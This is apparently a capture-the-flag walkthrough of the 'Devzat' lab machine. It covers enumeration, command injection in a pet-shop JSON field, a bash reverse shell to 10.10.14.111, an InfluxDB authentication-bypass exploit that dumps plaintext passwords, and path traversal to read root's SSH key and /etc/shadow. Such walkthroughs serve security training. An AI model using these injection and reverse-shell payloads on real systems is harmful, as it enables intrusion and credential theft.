Enumeration

sudo nmap -sC -sS -sV -F 10.10.11.118 >scan.txt

Starting Nmap 7.92 ( <https://nmap.org> ) at 2021-10-29 17:22 EEST
Nmap scan report for 10.10.11.118
Host is up (0.15s latency).
Not shown: 97 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 c2:5f:fb🇩🇪32:ff:44:bf:08:f5:ca:49:d4:42:1a:06 (RSA)
|   256 bc💿e8:ee:0a:a9:15:76:52:bc:19:a4:a3:b2:ba:ff (ECDSA)
|_  256 62:ef:72:52:4f:19:53:8b:f2:9b:be:46:88:4b:c3:d0 (ED25519)
80/tcp   open  http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to <http://devzat.htb/>
8000/tcp open  ssh     (protocol 2.0)
| ssh-hostkey:
|_  3072 6a:ee:db:90:a6:10:30:9f:94:ff:bf:61:95:2a:20:63 (RSA)
| fingerprint-strings:
|   NULL:
|_    SSH-2.0-Go
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at <https://nmap.org/cgi-bin/submit.cgi?new-service> :
SF-Port8000-TCP:V=7.92%I=7%D=10/29%Time=617C0391%P=x86_64-pc-linux-gnu%r(N
SF:ULL,C,"SSH-2\\.0-Go\\r\\n");
Service Info: Host: devzat.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 41.32 seconds

There are 2 SSH services…

If we visit the page, we get redirected to devzat.htb, so we will add it to the /etc/hosts file.

The page shows a project of a chat working through ssh. That’s why there are 2 SSH services.

ssh -l [username] devzat.htb -p 8000

ssh -l zebra devzat.htb -p 8000 -oHostKeyAlgorithms=+ssh-rsa

zebra: help
devbot: Run /help to get help!
zebra: /help
[SYSTEM] Welcome to Devzat! Devzat is chat over SSH: github.com/quackduck/devzat
[SYSTEM] Because there's SSH apps on all platforms, even on mobile, you can join from
         anywhere.
[SYSTEM]
[SYSTEM] Interesting features:
[SYSTEM] • Many, many commands. Run /commands.
[SYSTEM] • Rooms! Run /room to see all rooms and use /room #foo to join a new room.
[SYSTEM] • Markdown support! Tables, headers, italics and everything. Just use in place
         of newlines.
[SYSTEM] • Code syntax highlighting. Use Markdown fences to send code. Run /example-code
         to see an example.
[SYSTEM] • Direct messages! Send a quick DM using =user <msg> or stay in DMs by running
         /room @user.
[SYSTEM] • Timezone support, use /tz Continent/City to set your timezone.
[SYSTEM] • Built in Tic Tac Toe and Hangman! Run /tic or /hang <word> to start new
         games.
[SYSTEM] • Emoji replacements! (like on Slack and Discord)
[SYSTEM]
[SYSTEM] For replacing newlines, I often use
         bulkseotools.com/add-remove-line-breaks.php.
[SYSTEM]
[SYSTEM] Made by Ishan Goel with feature ideas from friends.
[SYSTEM] Thanks to Caleb Denio for lending his server!
[SYSTEM]
[SYSTEM] For a list of commands run
[SYSTEM] ┃ /commands

We can see a Github repo. But I couldn’t find anything.

GitHub - quackduck/devzat: The devs are over here at devzat, chat over SSH!
The devs are over here at devzat, chat over SSH! Contribute to quackduck/devzat development by creating an account on GitHub.
If we try to login with username patrick, we get prompted the following:

Nickname reserved for local use, please choose a different one.

If we run gobuster for vhosts, we get a lot of false positives with 302 status code. If we filter them by status code 200, we may get some results:

gobuster vhost --url devzat.htb --wordlist /usr/share/dirbuster/directory-list-2.3-medium.txt | grep 'Status: 200'

And we found some subdomains!

Found: pets.devzat.htb (Status: 200) [Size: 510]
Found: Pets.devzat.htb (Status: 200) [Size: 510]

Getting the foothold

In that page, if we submit text twice, we get exit status 1. This reminds us the bash exit code. We could try injecting some bash commands.

If we inspect the request we are making in Burp, we are doing a POST request with the following:

{"name":"test"}

Which seems to not be including the species parameter. So this one seems to be the one which is vulnerable. If we use as input:

{
"name":"test",
"species":"cat; echo hey"
}

We get the following Characteristics:

Having a cat is like living in a shared apartment. Most of the time you mind your own business. From time to time you hang out together watching TV. And sometimes you find puke somewhere... hey

Which have the string hey appended to the end. This means we can execute code remotely.

If we try to create a reverse shell with:

{
"name":"test",
"species":"cat; nc 10.10.14.111 6666"
}

We get exit code 127, which means command or executable not found. Let’s try with a simpler one.

{
    "name":"test",
    "species":"cat; bash -c 'bash -i >& /dev/tcp/10.10.14.111/6666 0>&1'"
}

If we listen on port 6666, we get our reverse shell!

patrick@devzat:~/pets$

And we seem to be logged in as patrick, but there is no user flag in his home dir. Let’s continue by grabbing the ssh private key of patrick to get a real ssh session. Then, we can connect to patrick with:

ssh -i patrick.key patrick@devzat.htb

Getting the user flag

Now that we have a real shell, let’s connect to the service localy.

ssh -l patrick localhost -p 8000

admin: Hey patrick, you there?
patrick: Sure, shoot boss!
admin: So I setup the influxdb for you as we discussed earlier in business meeting.
patrick: Cool 👍
admin: Be sure to check it out and see if it works for you, will ya?
patrick: Yes, sure. Am on it!
devbot: admin has left the chat

ssh -l catherine localhost -p 8000

patrick: Hey Catherine, glad you came.
catherine: Hey bud, what are you up to?
patrick: Remember the cool new feature we talked about the other day?
catherine: Sure
patrick: I implemented it. If you want to check it out you could connect to the local dev instance on port
         8443.
catherine: Kinda busy right now 👔
patrick: That's perfectly fine 👍  You'll need a password I gave you last time.
catherine: k
patrick: I left the source for your review in backups.
catherine: Fine. As soon as the boss let me off the leash I will check it out.
patrick: Cool. I am very curious what you think of it. See ya!
devbot: patrick has left the chat

They mention something about a password, but I couldn’t find any log of conversations. Also, the chat has no history.

They mention some backups. I did a search and got /var/backups.

find / -name '*backup*' 2>/dev/null

But we don’t have permissions to copy them.

patrick@devzat:~$ cp /var/backups/devzat-*.zip ~/.
cp: cannot open '/var/backups/devzat-dev.zip' for reading: Permission denied
cp: cannot open '/var/backups/devzat-main.zip' for reading: Permission denied

Let’s investigate the 8443 port. We can see more ports open.

patrick@devzat:~/devzat$ netstat -tulnp | grep LISTEN

tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8086          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8443          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN      869/./petshop
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       0      0 :::8000                 :::*                    LISTEN      878/./devchat
tcp6       0      0 :::80                   :::*                    LISTEN      -

We can connect to the local devzat instance by mapping the remote 8443 port to a local one:

ssh -L8443:localhost:8443 -i patrick.key patrick@devzat.htb

And then connect to that devzat instance:

ssh -l patrick localhost -p 8443

admin: Hey patrick, you there?
patrick: Sure, shoot boss!
admin: So I setup the influxdb 1.7.5 for you as we discussed earlier in business meeting.
patrick: Cool 👍
admin: Be sure to check it out and see if it works for you, will ya?
patrick: Yes, sure. Am on it!
devbot: admin has left the chat

ssh -l catherine localhost -p 8443

patrick: Hey Catherine, glad you came.
catherine: Hey bud, what are you up to?
patrick: Remember the cool new feature we talked about the other day?
catherine: Sure
patrick: I implemented it. If you want to check it out you could connect to the local dev instance on port
         8443.
catherine: Kinda busy right now 👔
patrick: That's perfectly fine 👍  You'll need a password which you can gather from the source. I left it in
         our default backups location.
catherine: k
patrick: I also put the main so you could diff main dev if you want.
catherine: Fine. As soon as the boss let me off the leash I will check it out.
patrick: Cool. I am very curious what you think of it. Consider it alpha state, though. Might not be secure
         yet. See ya!
devbot: patrick has left the chat

InfluxDB version is earlier than 1.7.6, so we can bypass the password with the following exploit:

GitHub - LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933: InfluxDB CVE-2019-20933 vulnerability exploit
InfluxDB CVE-2019-20933 vulnerability exploit. Contribute to LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933 development by creating an account on GitHub.
We will need to expose the internal influxdb port, which is by default 8086 (and they are using it).

ssh -L8086:localhost:8086 -i patrick.key patrick@devzat.htb

CVE-2019-20933

Insert ip host (default localhost):
Insert port (default 8086):
Insert influxdb user (wordlist path to bruteforce username): ../users.txt

Start username bruteforce
[x] catherine
[x] patrick
[v] admin

Insert database name (exit to close): devzat
[devzat] Insert query (exit to change db):

Let’s list all the tables in the database:

[devzat] Insert query (exit to change db): SHOW MEASUREMENTS;
{
    "results": [
        {
            "series": [
                {
                    "columns": [
                        "name"
                    ],
                    "name": "measurements",
                    "values": [
                        [
                            "user"
                        ]
                    ]
                }
            ],
            "statement_id": 0
        }
    ]
}

We got a user table. Let’s check the contents:

[devzat] Insert query (exit to change db): SELECT * FROM "user";
{
    "results": [
        {
            "series": [
                {
                    "columns": [
                        "time",
                        "enabled",
                        "password",
                        "username"
                    ],
                    "name": "user",
                    "values": [
                        [
                            "2021-06-22T20:04:16.313965493Z",
                            false,
                            "WillyWonka2021",
                            "wilhelm"
                        ],
                        [
                            "2021-06-22T20:04:16.320782034Z",
                            true,
                            "woBeeYareedahc7Oogeephies7Aiseci",
                            "catherine"
                        ],
                        [
                            "2021-06-22T20:04:16.996682002Z",
                            true,
                            "RoyalQueenBee$",
                            "charles"
                        ]
                    ]
                }
            ],
            "statement_id": 0
        }
    ]
}

Passwords are in plain text. We can try catherine’s one.

patrick@devzat:~$ su catherine
Password:
catherine@devzat:/home/patrick$

And we are in!

Privilege escalation

It seems there are no applications that can be run as sudo without password.

We can copy the backup zips in /var/backups to our home and unzip them. After that, we can diff them as patrick told to catherine in one of the messages.

diff dev main

< func fileCommand(u *user, args []string) {
<       if len(args) < 1 {
<               u.system("Please provide file to print and the password")
<               return
<       }
<
<       if len(args) < 2 {
<               u.system("You need to provide the correct password to use this function")
<               return
<       }
<
<       path := args[0]
<       pass := args[1]
<
<       // Check my secure password
<       if pass != "CeilingCatStillAThingIn2021?" {
<               u.system("You did provide the wrong password")
<               return
<       }
...
<       port = 8443
---
>       port = 8000

There is a new file command in the devzat service running on 8443.

catherine@devzat:~$ ps -aux | grep devzat

root         851  0.0  0.1   6892  3032 ?        Ss   05:19   0:00 /bin/bash /root/devzat/start.sh
patrick      852  0.0  0.1   6892  2988 ?        Ss   05:19   0:00 /bin/bash /home/patrick/devzat/start.sh

And this service is being ran by root itself. So we would be reading files with root.

If we connect to the service and use the file command, we can get the root.txt flag:

catherine: /file ../root.txt CeilingCatStillAThingIn2021?
[SYSTEM] ee85798aedbdc77950b34216ffc3aa32

I used ../root.txt because the process is being ran from /root/devzat/start.sh.

In case you wanted to compromise the whole machine, you could download the ssh private key of root:

catherine: /file ../.ssh/id_rsa CeilingCatStillAThingIn2021?
[SYSTEM] -----BEGIN OPENSSH PRIVATE KEY-----
...
[SYSTEM] -----END OPENSSH PRIVATE KEY-----

Or try to decrypt the hash from /etc/shadow.

catherine: /file ../../etc/shadow CeilingCatStillAThingIn2021?
[SYSTEM] root:XXXXXX:18891:0:99999:7:::

References